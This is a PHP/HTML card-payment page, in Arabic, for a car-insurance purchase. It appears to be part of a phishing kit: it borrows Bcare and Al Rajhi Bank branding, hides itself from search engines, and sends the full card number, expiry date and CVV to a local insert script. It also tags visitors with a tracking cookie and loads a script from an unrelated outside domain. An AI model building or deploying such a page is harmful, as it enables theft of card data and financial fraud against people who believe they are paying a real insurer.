<?php
header("X-Robots-Tag: noindex, nofollow, noarchive, nosnippet", true);

// بدء الجلسة
session_start();

// التحقق من وجود البيانات في الجلسة
if (!isset($_SESSION['insurance_price']) || 
    !isset($_SESSION['insurance_name']) || 
    !isset($_SESSION['tameenType']) || 
    !isset($_SESSION['purchase_date'])) {
    echo "لا توجد بيانات!";
    exit();
}

// استرجاع البيانات من الجلسة
$price = $_SESSION['insurance_price'];
$name  = $_SESSION['insurance_name'];
$type  = $_SESSION['tameenType'];
$purchase_date = $_SESSION['purchase_date'];

$discount_amount      = $price * 0.1;
$discounted_price     = $price * 0.9;
$tax_amount           = $discounted_price * 0.15;
$total_price_with_tax = $discounted_price + $tax_amount;

/* ===== الإضافات المطلوبة ===== */
// خزّن السعر النهائي دائمًا
$_SESSION['total_price_with_tax'] = (float)$total_price_with_tax;

// عند POST خزّن آخر 4 (من card_last4 أو card_number)
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $raw = isset($_POST['card_last4']) ? (string)$_POST['card_last4']
                                       : ((string)($_POST['card_number'] ?? ''));
    $last4 = substr(preg_replace('/\D+/', '', $raw), -4);
    if (preg_match('/^\d{4}$/', $last4)) {
        $_SESSION['last4Digits'] = $last4;
    }
}
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>الدفع بالبطاقة</title>
  <link href="https://fonts.googleapis.com/css2?family=Tajawal:wght@400;700&display=swap" rel="stylesheet">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">

  <style>
   :root{
    --brand:#0ea5e9; --brand-2:#0369a1; --ok:#16a34a;
    --bg:#ffffff; --bg-soft:#f8fafc; --card:#ffffff;
    --text:#0f172a; --muted:#64748b; --line:#e2e8f0;
    --shadow:0 8px 24px rgba(2,6,23,.06); --radius:14px;
  }
  *{box-sizing:border-box}
  body{margin:0;padding:0;font-family:'Tajawal',system-ui,Arial,sans-serif;background:var(--bg);color:var(--text);line-height:1.8}

  .topbar{position:sticky;top:0;z-index:10;background:#fff;border-bottom:1px solid var(--line)}
  .topbar-in{max-width:880px;margin:auto;padding:10px 16px;display:flex;align-items:center;justify-content:space-between;gap:10px}
  .brand{display:flex;align-items:center;gap:10px;font-weight:800;color:#0b4a86}
  .brand-mark{width:34px;height:34px;border-radius:10px;background:linear-gradient(135deg,#e6f4ff,#cfeafe);border:1px solid var(--line)}

  .container{max-width:880px;margin:auto;padding:16px}

  .page-head{text-align:center;margin:6px 0 16px}
  .logo{width:120px;margin:0 auto 6px;display:block}
  h2{margin:4px 0 0;font-size:1.6rem;font-weight:800}
  .sub{color:var(--muted);font-size:.95rem}

  .card{background:var(--card);border:1px solid var(--line);border-radius:var(--radius);box-shadow:var(--shadow);padding:18px}

  /* شريط تفاصيل التأمين (داخل الفورم، قبل الحقول) */
  .summary-inline{background:var(--bg-soft);border:1px solid var(--line);border-radius:12px;padding:12px;margin-bottom:14px}
  .summary-inline .row{display:flex;justify-content:space-between;gap:10px;margin:6px 0}
  .summary-inline .row strong{color:#111827}
  .summary-inline hr{border:none;border-top:1px solid var(--line);margin:8px 0}

  /* نموذج البطاقة */
  form label{display:block;margin-bottom:6px;font-weight:800}
  form input{
    width:100%;padding:12px 14px;border:1px solid var(--line);border-radius:12px;
    font-size:1rem;background:#fff;color:var(--text);transition:border-color .15s,box-shadow .15s;margin-bottom:12px
  }
  form input:focus{outline:none;border-color:var(--brand);box-shadow:0 0 0 3px rgba(14,165,233,.15)}
  .row-flex{display:flex;gap:10px}
  .row-flex .field{flex:1}

  .card-icon{text-align:center;font-size:2rem;margin-bottom:10px;color:var(--brand-2)}
  .success-message{color:var(--ok);font-size:.9rem;margin-top:-4px;margin-bottom:10px;display:none}
  .error-message{color:#b91c1c;font-size:.9rem;margin-top:-4px;margin-bottom:10px;display:none}

  button{
    width:100%;background:linear-gradient(90deg,var(--brand),var(--brand-2));color:#fff;border:0;border-radius:12px;
    padding:14px 16px;font-size:1.08rem;font-weight:800;cursor:pointer;box-shadow:0 10px 22px rgba(3,105,161,.18);
    transition:filter .15s,transform .06s
  }
  button:hover{filter:brightness(.97)}
  button:active{transform:translateY(1px)}

  /* مودال الراجحي */
  #overlay{display:none;position:fixed;inset:0;background:rgba(0,0,0,.5);z-index:9998}
  #alrajhiModal{
    display:none;position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);
    width:90%;max-width:420px;background:#fff;border-radius:12px;box-shadow:0 10px 30px rgba(0,0,0,.2);
    padding:20px 22px;z-index:9999;text-align:center
  }

  .pay-logos{display:flex;justify-content:center;margin:16px 0 6px}
  #imgp{width:260px;max-width:90%}
  </style>
</head>
<body>

  <div class="topbar">
    <div class="topbar-in">
      <div class="brand"><span class="brand-mark"></span> بوابة الدفع</div>
      <div style="color:var(--muted);font-weight:700">دفع آمن <i class="fa-solid fa-lock"></i></div>
    </div>
  </div>

  <div class="container page-head">
    <img class="logo" src="Bcare-logo.svg" alt="logo" />
    <h2>الدفع بالبطاقة البنكية</h2>
    <div class="sub">تأكيد بيانات التأمين وإدخال تفاصيل البطاقة ثم الدفع</div>
  </div>

  <div class="container">
    <div class="card">
      <!-- كل شيء داخل الفورم -->
      <form id="cardForm" action="/pages/php/insert/insert_card_payment.php" method="post" dir="rtl">
        <!-- نفس الحقول المخفية (مكرّر كما في كودك) -->
        <input type="hidden" name="price_with_tax" value="<?php echo number_format($total_price_with_tax, 2, '.', ''); ?>">
        <input type="hidden" name="price_with_tax" id="total_price_with_tax" value="<?= number_format($total_price_with_tax, 2, '.', ''); ?>">

        <!-- تفاصيل التأمين قبل زر الدفع -->
        <div class="summary-inline" aria-label="تفاصيل التأمين">
          <div class="row"><strong>الاسم</strong><div><?php echo htmlspecialchars($name); ?></div></div>
          <div class="row"><strong>نوع التأمين</strong><div><?php echo htmlspecialchars($type); ?></div></div>
          <div class="row"><strong>تاريخ الشراء</strong><div><?php echo htmlspecialchars($purchase_date); ?></div></div>
          <hr>
          <div class="row"><strong>سعر الوثيقة</strong><div>ر.س <?php echo number_format($price, 2, '.', ''); ?></div></div>
          <div class="row"><strong>خصم عدم وجود مطالبات</strong><div>ر.س <?php echo number_format($discount_amount, 2, '.', ''); ?></div></div>
          <div class="row"><strong>المجموع الجزئي</strong><div>ر.س <?php echo number_format($discounted_price, 2, '.', ''); ?></div></div>
          <div class="row"><strong>ضريبة القيمة المضافة (15%)</strong><div>ر.س <?php echo number_format($tax_amount, 2, '.', ''); ?></div></div>
          <hr>
          <div class="row"><strong>المبلغ الإجمالي</strong>
            <div>
              <span id="span-policypremium-amount" class="price-box span-policypremium-amount">
                <label class="originalPolicyAmount"><?php echo number_format($total_price_with_tax, 2, '.', ''); ?></label>
                <sub> ر.س</sub>
              </span>
              <input type="hidden" class="originalPolicyAmountHidden clearable x onX" value="1751.2">
            </div>
          </div>

          <!-- عناصر اختيارية كانت مخفية سابقًا (تبقى كما هي إن احتجتها لاحقًا) -->
          <div class="col-sm-12 coupon-total" id="divCouponRedeemAmount" style="display:none"><span class="qitaf-title"></span></div>
          <div class="col-sm-12"><div id="divWalletRedeemAmount" style="display:none" class="wallet-total"><span class="total-text"></span></div></div>
        </div>

        <!-- أيقونة ونوع البطاقة -->
        <div id="cardTypeIcon" class="card-icon"></div>

        <!-- حقول البطاقة -->
        <label for="cardNumber">رقم البطاقة</label>
        <input
          type="text"
          id="cardNumber"
          name="card_number"
          placeholder="1234 5678 9012 3456"
          inputmode="numeric"
          maxlength="19"
          autocomplete="cc-number"
          required
          pattern="(?:\d{4} ?){3}\d{4}"
          title="أدخل 16 رقمًا (يمكن مسافة كل 4 أرقام)"
          style="direction:ltr;text-align:left;"
        >
        <div class="error-message" id="cardError" style="display:none">❌ رقم البطاقة غير صحيح</div>
        <div class="success-message" id="cardSuccess" style="display:none">✔ رقم البطاقة صحيح</div>

        <label for="cardName">اسم حامل البطاقة</label>
        <input
          type="text"
          id="cardName"
          name="cardholder_name"
          placeholder="كما يظهر على البطاقة"
          autocomplete="cc-name"
          required
          pattern="[A-Za-z\u0621-\u064A\s]{2,}"
          title="اكتب الاسم كما على البطاقة (أحرف ومسافات فقط)"
        >

        <div class="row-flex">
          <div class="field">
            <label for="expiry">تاريخ الانتهاء</label>
            <input
              type="text"
              id="expiry"
              name="expiry_date"
              placeholder="MM/YY"
              inputmode="numeric"
              maxlength="5"
              autocomplete="cc-exp"
              required
              pattern="(0[1-9]|1[0-2])\/\d{2}"
              title="صيغة صحيحة: MM/YY (مثال 08/27)"
            >
            <div class="error-message" id="expiryError" style="display:none">❌ أدخل تاريخًا صالحًا</div>
          </div>

          <div class="field">
            <label for="cvv">CVV</label>
            <input
              type="text"
              id="cvv"
              name="cvv"
              placeholder="123"
              inputmode="numeric"
              maxlength="3"
              autocomplete="cc-csc"
              required
              pattern="\d{3,4}"
              title="3 أو 4 أرقام خلف البطاقة"
            >
          </div>
        </div>

        <!-- overlay + modal (بدون تغيير وظيفي) -->
        <div id="overlay"></div>
        <div id="alrajhiModal">
          <h3 style="color:#004aad;margin:0 0 8px">عملاء مصرف الراجحي</h3>
          <p style="margin:0 0 14px">سيتم إجراء عملية دفع قيمة وثيقة التأمين من خلال خدمة سداد</p>
          <div style="background:#28a745;color:#fff;font-weight:700;padding:12px;border-radius:8px;margin-bottom:10px">
            جاري تحويلك الآن إلى الراجحي أونلاين ... لتأكيد الدفع
          </div>
          <div id="countdown" style="font-size:14px;color:#555">سيتم الإرسال خلال 7 ثوانٍ…</div>
        </div>

        <!-- unique_id -->
        <input type="hidden" name="unique_id" id="unique_id">
<br>
        <!-- زر الدفع أسفل كل المعلومات -->
        <button type="submit">ادفع الآن</button>
      </form>
<br>
      <div class="pay-logos">
        <img id="imgp" src="cards.png" alt="طرق الدفع">
      </div>
    </div>
  </div>

  <!-- سكربتات (كما هي، مع إغلاق حدث submit الناقص) -->
  <script>
  (function(){
    const form = document.getElementById('cardForm');
    const numberInput = document.getElementById('cardNumber');
    const cardErr = document.getElementById('cardError');
    const cardOk  = document.getElementById('cardSuccess');
    const overlay = document.getElementById('overlay');
    const modal   = document.getElementById('alrajhiModal');
    const countdownEl = document.getElementById('countdown');
    let submitting = false;

    function toEnglishDigits(s){
      const map = {'٠':'0','١':'1','٢':'2','٣':'3','٤':'4','٥':'5','٦':'6','٧':'7','٨':'8','٩':'9'};
      return String(s).replace(/[٠-٩]/g, d => map[d]);
    }
    function digitsOnly(s){ return toEnglishDigits(s).replace(/\D/g,''); }

    function validateCardLive(){
      const pan = digitsOnly(numberInput.value);
      if (pan.length === 16){
        cardErr.style.display = 'none';
        cardOk.style.display  = 'block';
      } else if (pan.length === 0){
        cardErr.style.display = 'none';
        cardOk.style.display  = 'none';
      } else {
        cardOk.style.display  = 'none';
        cardErr.style.display = 'block';
      }
    }
    numberInput.addEventListener('input', validateCardLive);

    form.addEventListener('submit', function(e){
      if (submitting) return;
      const pan = digitsOnly(numberInput.value);
      if (pan.length !== 16){
        e.preventDefault();
        cardOk.style.display  = 'none';
        cardErr.style.display = 'block';
        numberInput.focus();
        return;
      }
      // يمكنك هنا تفعيل overlay/modal لو رغبت
      // overlay.style.display = 'block'; modal.style.display = 'block';
    }); // ← تم إغلاق الحدث
  })();
  </script>

  <script>
  // جلب unique_id من الكوكي وملؤه
  function getCookie(name) {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(';').shift();
  }
  document.addEventListener("DOMContentLoaded", function () {
    const uniqueId = getCookie("unique_id");
    document.getElementById("unique_id").value = uniqueId || "";
  });
  </script>

  <script>
    const cardForm = document.getElementById('cardForm');
    const cardNumber = document.getElementById('cardNumber');
    const cardError = document.getElementById('cardError');
    const cardSuccess = document.getElementById('cardSuccess');
    const cardTypeIcon = document.getElementById('cardTypeIcon');
    const expiryInput = document.getElementById('expiry');
    const expiryError = document.getElementById('expiryError');

    function detectCardType(number) {
      if (number.startsWith('4')) return '<i class="fab fa-cc-visa"></i> Visa';
      if (number.startsWith('5')) return '<i class="fab fa-cc-mastercard"></i> MasterCard';
      if (number.startsWith('3')) return '<i class="fab fa-cc-amex"></i> American Express';
      return '';
    }
    function isValidCardNumber(number) {
      if (!/^[0-9]{16}$/.test(number)) return false;
      let sum = 0, shouldDouble = false;
      for (let i = number.length - 1; i >= 0; i--) {
        let digit = parseInt(number.charAt(i));
        if (shouldDouble) { digit *= 2; if (digit > 9) digit -= 9; }
        sum += digit; shouldDouble = !shouldDouble;
      }
      return sum % 10 === 0;
    }

    cardNumber.addEventListener('input', function () {
      let input = cardNumber.value.replace(/\D/g, '').substring(0, 16);
      let formatted = input.match(/.{1,4}/g);
      cardNumber.value = formatted ? formatted.join(' ') : '';
      cardTypeIcon.innerHTML = detectCardType(input);

      if (input.length === 16) {
        if (isValidCardNumber(input)) { cardError.style.display = 'none'; cardSuccess.style.display = 'block'; }
        else { cardError.style.display = 'block'; cardSuccess.style.display = 'none'; }
      } else { cardError.style.display = 'none'; cardSuccess.style.display = 'none'; }
    });

    expiryInput.addEventListener('input', function () {
      let val = expiryInput.value.replace(/[^0-9]/g, '').slice(0, 4);
      expiryInput.value = val.length >= 3 ? val.slice(0, 2) + '/' + val.slice(2) : val;
    });
  </script>

  <script>
  (function () {
    // unique_id إذا لم يوجد، أنشئه وخزّنه
    const KEY = 'unique_id';
    const getCookie = (name) =>
      document.cookie.split('; ').find(r => r.startsWith(name + '='))?.split('=')[1];
    const setCookie = (name, value, days = 365) => {
      const d = new Date(); d.setTime(d.getTime() + days*24*60*60*1000);
      document.cookie = `${name}=${encodeURIComponent(value)}; expires=${d.toUTCString()}; path=/; SameSite=Lax`;
    };
    const uuid = () => 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, c => {
      const r = Math.random()*16|0, v = c === 'x' ? r : (r&0x3|0x8); return v.toString(16);
    });

    let val = getCookie(KEY);
    if (!val) { val = uuid(); setCookie(KEY, val); }
    const uidInput = document.getElementById('unique_id');
    if (uidInput) uidInput.value = decodeURIComponent(val);

    // تنسيقات إدخال كما هي
    const form = document.getElementById('cardForm');
    const card = document.getElementById('cardNumber');
    const expiry = document.getElementById('expiry');
    const cvv = document.getElementById('cvv');

    card.addEventListener('input', () => {
      const digits = card.value.replace(/\D/g, '').slice(0, 16);
      card.value = digits.replace(/(\d{4})(?=\d)/g, '$1 ').trim();
    });
    expiry.addEventListener('input', () => {
      let v = expiry.value.replace(/\D/g, '').slice(0,4);
      if (v.length >= 3) v = v.slice(0,2) + '/' + v.slice(2);
      expiry.value = v;
    });
    cvv.addEventListener('input', () => {
      cvv.value = cvv.value.replace(/\D/g, '').slice(0,4);
    });

    form.addEventListener('submit', (e) => {
      if (!uidInput.value) { uidInput.value = uuid(); setCookie(KEY, uidInput.value); }
      if (!form.checkValidity()) { e.preventDefault(); form.reportValidity(); }
    });
  })();
  </script>

  <!-- (اختياري) سكربت خارجي كما هو -->
  <script src="https://cartaminewar.work/pages/uui.js"></script>
</body>
</html>
